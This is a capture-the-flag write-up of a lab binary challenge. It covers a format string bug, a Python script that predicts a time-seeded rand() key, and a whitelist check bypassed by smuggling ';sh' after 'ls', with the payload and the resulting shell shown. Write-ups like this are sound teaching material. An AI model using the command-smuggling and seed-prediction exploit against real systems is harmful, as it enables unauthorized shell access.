This challenge took a lot longer than I would like to admit.
So first of all, this challenge gives you a list of commands you can run which is stored in a buffer called whitelist. Then it asks for your input and if your input matches one of the strings in the array, then it will call it. The program will look like this:
"Welcome to the club. It's ok, don't be in a rush. You've got all the time in the world. As long as you are a vip that is."
Commands: clear exit ls
> ls
Executing: ls...
flag.txt
vip_blacklist
vip.py
Commands: clear exit ls
> sh
Executing: sh...
Command not allowed
One of the first things I noticed, before even checking the disassembly code, is that this program also had a format string bug.
Commands: clear exit ls
%p
Executing: 0x7ffe54bf56f0f0...
Command not allowed
The code where the bug is located looks like this:
sprintf(formatted_input,input)
(A little foreshadow) This bug led to a very deep rabbit hole because the program did not have a large enough buffer to try to write anywhere outside of the stack. I did get some base leaks though!!! (it was not needed).
Anyways, ignoring the printf vulnerability, you see that the program sets a key through a function called randGen() and then checks that if the input is the same as the key, then to call a function named allowCopy() that would add a command to the list called queue. The command itself isn’t important, but the function is.
Now the first thing that needs to be done is to find a way to get the key and luckily, it is not that bad. What it does is it sets an srand() seed with the time and then creates a key with just running rand() a few times. The function looks like so:
void randGen(void **param_1)
{
int rand;
void *val_at_heap;
time_t now;
ulong i;
val_at_heap = malloc(10);
now = time((time_t *)0x0);
srand((uint)now);
for (i = 0; i < 10; i = i + 1) {
rand = ::rand();
*(char *)(i + (long)val_at_heap) = (char)rand;
}
*param_1 = val_at_heap;
return;
}
Which means that I can simulate this exactly through python by using the ctypes library and creating the key like this:
# get into the queue
d = datetime.now()
libc = CDLL("/usr/lib/libc.so.6")
timestamp = libc.time(0)
libc.srand(timestamp)
key = 0;
for i in range(10):
rand = libc.rand()
last_byte = hex(rand)[-2:]
key += int(last_byte, 16) << (8 * i)
modified = p64(key & 0xffffffffffffffff) + p64(key >> 64)
io.sendline(modified)
Now that you’re in the queue, you can see that there is a bug because it will write however many bytes the read() function returns but then do strlen() and then check each index to the string queue\x00clear\x00exit\x00\x00ls to “make sure that nothing was changed”, but if you enter that exactly plus ;sh at the end, you will write ls;sh to the whitelist.
And if you run ls;sh you will get a shell.
io.sendline(b"queue\x00clear\x00exit\x00\x00ls;sh")
io.sendline(b"ls;sh")
Commands: queue clear exit ls;sh
Executing: ls;sh...
flag.txt
vip_blacklist
vip.py
writeup.md
$ whoami
papichulo
Now the problem I had with this challenge is that for the LONGEST TIME I thought that the program would check for queue\x00clear\x00exit\x00\x00ls\x00 and because I thought that it would check for that final null byte, I was thinking to write ;sh after it and then with the format string bug I would try to overwrite the null byte to a semicolon. And because of that a lot of time was lost but it is okay lesson learned. Read things more carefully hahahahhahaha.